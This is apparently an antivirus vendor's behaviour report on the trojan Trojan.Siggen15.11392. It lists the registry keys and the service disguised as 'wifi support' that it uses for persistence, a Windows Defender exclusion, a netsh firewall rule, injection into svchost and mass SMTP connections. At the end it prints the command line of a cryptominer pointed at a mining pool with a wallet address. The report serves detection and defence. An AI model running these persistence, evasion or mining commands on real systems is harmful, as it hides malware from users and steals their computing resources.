Trojan.Siggen15.11392

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\cgtonpaz] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\cgtonpaz] 'ImagePath' = '%WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\cgtonpaz] 'ImagePath' = '%WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe'

Creates the following services

'cgtonpaz' %WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe /d"<Full path to file>"
'cgtonpaz' %WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\cgtonpaz' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\pwiversm.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\pwiversm.exe to %WINDIR%\syswow64\cgtonpaz\pwiversm.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx##.aon.at':25
'mx##.ionos.com':25
'google.com':443
'dh###1.web.de':25
'mx#.#eznam.cz':25
'mx##.ionos.de':25
'mx.########ity.com.cust.hostedemail.com':25
'mx#.##etel.net.uk':25
'ex####l.bigpond.com':25
'm.###tube.com':443
'ma##.giogio.it':25
'mx###.##il.am0.yahoodns.net':25
'go##le.de':443
'ye#####.##il.protection.outlook.com':25
'mx.####ndecorreo.com':25
'mx##.mail.com':25
'gi##io.com':25
'ma###.##mebrightmail.com':25
'ma####.goosebox.net':25
'mx##.###g.kundenserver.de':25
'mx##.schlund.de':25
'ci####.macbay.de':25
'dh####.emig.gmx.net':25
'bing.com':443
'mx#######a02.gslb.pphosted.com':25
'ma##.iwt.ch':25
'sm###.wuerth.com':25
'ma##.####sallureclothing.com':25
'ch#####.kazancity.net':25
'mx.##finito.it':25
'mx#.#omcast.net':25
'na#.###.#rotection.outlook.com':25
'mx.#####.#e.cust.b.hostedemail.com':25
'mx##.#mig.gmx.net':25
'mx.##a.untd.com':25
'ff######x-vip2.prodigy.net':25
'cm######1.mail.tiscali.it':25
'mx###.upcmail.net':25
'mx########in-ch.hdb-cs04.ellb.ch':25
'mx##.##ndenserver.de':25
'co######.rz.unibw-muenchen.de':25
'go##le.ca':443
'au##.###.np.ac.playstation.net':443
'ya##ex.com':443
'bi###y.edu.my':443
'mx.#########y.com.cust.a.hostedemail.com':25
'ef#######.registrar-servers.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx.#p.pl':25
'sm#####.hosting.orange.pl':25
'as####.googlemail.com':25
'mt##.##0.yahoodns.net':25
'mx#.###322-70.iphmx.com':25
'ma##.#mailertr.com':25
'mx.#len.pl':25
'em##.freenet.de':25
'aspmx.l.google.com':25
'ag######.onlineagency.com':25
'mx##.#-online.de':25
'mx.##teria.pl':25
'fa###ool.xyz':10060
'br######.##il.protection.outlook.com':25
'mx.###zta.onet.pl':25
'mx#.##avis99.com':25
'de###twax.ru':487
'de###twax.ru':443
'sm##.##cureserver.net':25
'af######.##il.protection.outlook.com':25
'mx.##lktalk.net':25
'fm#.#reemail.hu':25
'mx.##.##mail.iss.as9143.net':25
'mx.##.#tinternet.com':25
'pk#####.#sg.pkvw.co.charter.net':25
'mx##.##.bkk1.cloud.z.com':25
'ca############hio-us.mail.protection.outlook.com':25
'ma##.gio.it':25
'google.com':80
'5.##.37.41':431
'21#.#27.140.23':431
'19#.#6.146.41':431
'95.##6.195.92':431
'19#.#6.146.43':431
'19#.#6.146.42':431
'_d####.####1696e029.manekinekoclub.com':25
'cx#.##.#.cloudfilter.net':25
'sh########l.mx.a.cloudfilter.net':25
'ma##.#rermail.com':25
'ALT2.ASPMX.L.GOOGLE.COM':25
'tw#####rsbrewery.co.uk':25
'ma##.#upereva.it':25
'vi#######mx-gateway.terra.com':25
'go###e.co.in':443

TCP

HTTP GET requests

http://www.google.com/

Other

'de###twax.ru':443
'ma###.##mebrightmail.com':25
'mx.####ndecorreo.com':25
'ye#####.##il.protection.outlook.com':25
'go##le.de':443
'_d####.####1696e029.manekinekoclub.com':25
'mx###.##il.am0.yahoodns.net':25
'co####t.google.de':443
'm.###tube.com':443
'ma##.giogio.it':25
'google.com':443
'mx##.##.bkk1.cloud.z.com':25
'mx#.#eznam.cz':25
'consent.google.com':443
'ci####.macbay.de':25
'au##.###.np.ac.playstation.net':443
'go##le.ca':443
'co####t.google.ca':443
'co######.rz.unibw-muenchen.de':25
'ff######x-vip2.prodigy.net':25
'na#.###.#rotection.outlook.com':25
'sm###.wuerth.com':25
'ma##.iwt.ch':25
'bing.com':443
'ef#######.registrar-servers.com':25
'ya##ex.com':443
'ma####.goosebox.net':25
'mx.##.#tinternet.com':25
'de###twax.ru':487
'mx.##teria.pl':25
'br######.##il.protection.outlook.com':25
'mx.###zta.onet.pl':25
'mx#.##avis99.com':25
'aspmx.l.google.com':25
'ag######.onlineagency.com':25
'ma##.#mailertr.com':25
'mx#.###322-70.iphmx.com':25
'mt##.##0.yahoodns.net':25
'as####.googlemail.com':25
'alt1.aspmx.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'af######.##il.protection.outlook.com':25
'ALT2.ASPMX.L.GOOGLE.COM':25
'21#.#27.140.23':431
'19#.#6.146.42':431
'19#.#6.146.43':431
'19#.#6.146.41':431
'5.##.37.41':431
'95.##6.195.92':431
'tw#####rsbrewery.co.uk':25
'ca############hio-us.mail.protection.outlook.com':25
'bi###y.edu.my':443
'go###e.co.in':443

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx##.ionos.com
DNS ASK wt##y.com
DNS ASK te###planet.net
DNS ASK consent.google.com
DNS ASK ah#o.de
DNS ASK ao#.at
DNS ASK mx##.aon.at
DNS ASK on##ne.de
DNS ASK mx##.###g.kundenserver.de
DNS ASK wu##bern.de
DNS ASK mx##.schlund.de
DNS ASK ci####.macbay.de
DNS ASK mx########in-ch.hdb-cs04.ellb.ch
DNS ASK wu###ele.info
DNS ASK dh####.emig.gmx.net
DNS ASK st#####rt-scorpions.de
DNS ASK au##.###.np.ac.playstation.net
DNS ASK go##le.ca
DNS ASK un####muenchen.de
DNS ASK co######.rz.unibw-muenchen.de
DNS ASK co####t.google.ca
DNS ASK wu####ndoerfer.de
DNS ASK mx##.##ndenserver.de
DNS ASK bl##mail.ch
DNS ASK ws###ers.com
DNS ASK wu##ker.org
DNS ASK dh###1.web.de
DNS ASK
DNS ASK mx.####ndecorreo.com
DNS ASK ye#.com
DNS ASK ye#####.##il.protection.outlook.com
DNS ASK go##le.de
DNS ASK ty######.orangehome.co.uk
DNS ASK sk#.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK co####t.google.de
DNS ASK gi##io.it
DNS ASK ma##.giogio.it
DNS ASK ya##.com
DNS ASK m.###tube.com
DNS ASK mx#.#eznam.cz
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK ty###biz.com
DNS ASK ty###inc.com
DNS ASK on##el.net
DNS ASK mx#.##etel.net.uk
DNS ASK wr###sen.com
DNS ASK mx.########ity.com.cust.hostedemail.com
DNS ASK wr###kong.com
DNS ASK mx##.ionos.de
DNS ASK se##am.cz
DNS ASK sc###ht19.de
DNS ASK sw###online.ch
DNS ASK mx###.upcmail.net
DNS ASK ka###ail.com
DNS ASK iw#.ch
DNS ASK ma##.iwt.ch
DNS ASK ly##s.it
DNS ASK ma##.com
DNS ASK gs#.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK ne##ero.net
DNS ASK ho##ai.com
DNS ASK rv###hools.net
DNS ASK cb###ools.net
DNS ASK wy###-wnendt.de
DNS ASK in###ronik.org
DNS ASK bing.com
DNS ASK ya##ex.com
DNS ASK sh####rdschools.net
DNS ASK lo####oodsny.org
DNS ASK ha####kschools.net
DNS ASK on#.com
DNS ASK xb##g.org
DNS ASK go###e.co.in
DNS ASK me#.de
DNS ASK tr###email.de
DNS ASK xe##tiv.com
DNS ASK nb###ools.net
DNS ASK ho#####ublicschools.net
DNS ASK sm###.wuerth.com
DNS ASK wu##th.com
DNS ASK ma##.####sallureclothing.com
DNS ASK at#.net
DNS ASK ff######x-vip2.prodigy.net
DNS ASK ol##o.net
DNS ASK ne##ero.com
DNS ASK mx.##a.untd.com
DNS ASK ep##t.de
DNS ASK ly##s.de
DNS ASK mx.#####.#e.cust.b.hostedemail.com
DNS ASK my##er.at
DNS ASK vo####ht-bissig.de
DNS ASK mx##.#mig.gmx.net
DNS ASK cm######1.mail.tiscali.it
DNS ASK wi###wslive.com
DNS ASK co##ast.net
DNS ASK mx#.#omcast.net
DNS ASK in##nito.it
DNS ASK mx.##finito.it
DNS ASK in##ria.eu
DNS ASK wy#s.de
DNS ASK wy###itness.com
DNS ASK ju##y.it
DNS ASK ka###city.net
DNS ASK ch#####.kazancity.net
DNS ASK fa#####lureclothing.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK sp###vert.com
DNS ASK du####schools.net
DNS ASK mx##.mail.com
DNS ASK gi##io.com
DNS ASK on#t.eu
DNS ASK on#t.pl
DNS ASK op.pl
DNS ASK em###ertr.com
DNS ASK ma##.#mailertr.com
DNS ASK he####partners.com
DNS ASK mx#.###322-70.iphmx.com
DNS ASK tw###oes.org.uk
DNS ASK ro###tmail.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK tw####rtplanks.com
DNS ASK or##ge.pl
DNS ASK af######.##il.protection.outlook.com
DNS ASK sm#####.hosting.orange.pl
DNS ASK ma###group.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK wp.pl
DNS ASK mx.#p.pl
DNS ASK ne###ape.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK tw####othdesign.com
DNS ASK fo##a.com
DNS ASK sm##.##cureserver.net
DNS ASK af##.com
DNS ASK mx.#len.pl
DNS ASK as####.googlemail.com
DNS ASK o2.pl
DNS ASK br##.org
DNS ASK de###twax.ru
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK po###aust.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx#.##avis99.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK tw####dsofmark.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK po###a.onet.pl
DNS ASK mx.###zta.onet.pl
DNS ASK br######.##il.protection.outlook.com
DNS ASK fr##net.de
DNS ASK fa###ool.xyz
DNS ASK in##ria.pl
DNS ASK mx.##teria.pl
DNS ASK ie.###xtronics.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK tw####erstravel.com
DNS ASK ag######.onlineagency.com
DNS ASK bs###tholic.org
DNS ASK aspmx.l.google.com
DNS ASK em##.freenet.de
DNS ASK ta###alk.net
DNS ASK mx.##lktalk.net
DNS ASK fr##mail.hu
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK su####resins.co.uk
DNS ASK vi##in.net
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK tw######y4.wanadoo.co.uk
DNS ASK tx###ehound.com
DNS ASK tx###levate.com
DNS ASK te##a.com
DNS ASK mx##.##.bkk1.cloud.z.com
DNS ASK kc.#r.com
DNS ASK vi#######mx-gateway.terra.com
DNS ASK tx.#r.com
DNS ASK tx###upply.com
DNS ASK mx.#########y.com.cust.a.hostedemail.com
DNS ASK tx###labs.com
DNS ASK bi###y.edu.my
DNS ASK tx###dedays.com
DNS ASK go###box.net
DNS ASK ma####.goosebox.net
DNS ASK ty##nit.com
DNS ASK ma###.##mebrightmail.com
DNS ASK tx###chkins.com
DNS ASK ef#######.registrar-servers.com
DNS ASK mu###mthai.com
DNS ASK ca############hio-us.mail.protection.outlook.com
DNS ASK ca#####countyohio.us
DNS ASK fr##mail.it
DNS ASK ma##.#upereva.it
DNS ASK tw#####rsbrewery.co.uk
DNS ASK le###rs6-12.org
DNS ASK ALT2.ASPMX.L.GOOGLE.COM
DNS ASK be#####rkconnector.com
DNS ASK er###ail.com
DNS ASK ma##.#rermail.com
DNS ASK tw###rns.net
DNS ASK sh#w.ca
DNS ASK sh########l.mx.a.cloudfilter.net
DNS ASK fm#.#reemail.hu
DNS ASK ww#.com
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK ma####nekoclub.com
DNS ASK _d####.####1696e029.manekinekoclub.com
DNS ASK fs##il.net
DNS ASK g.##il.it
DNS ASK g.##ilit
DNS ASK google.com
DNS ASK gi#.it
DNS ASK ma##.gio.it
DNS ASK al#####omebuyers.com
DNS ASK ir##and.com
DNS ASK em##l.com
DNS ASK pi##m.net

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cgtonpaz\pwiversm.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cgtonpaz\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pwiversm.exe" %WINDIR%\SysWOW64\cgtonpaz\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create cgtonpaz binPath= "%WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description cgtonpaz "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start cgtonpaz' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\cgtonpaz\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pwiversm.exe" %WINDIR%\SysWOW64\cgtonpaz\
'%WINDIR%\syswow64\sc.exe' create cgtonpaz binPath= "%WINDIR%\SysWOW64\cgtonpaz\pwiversm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description cgtonpaz "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start cgtonpaz
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

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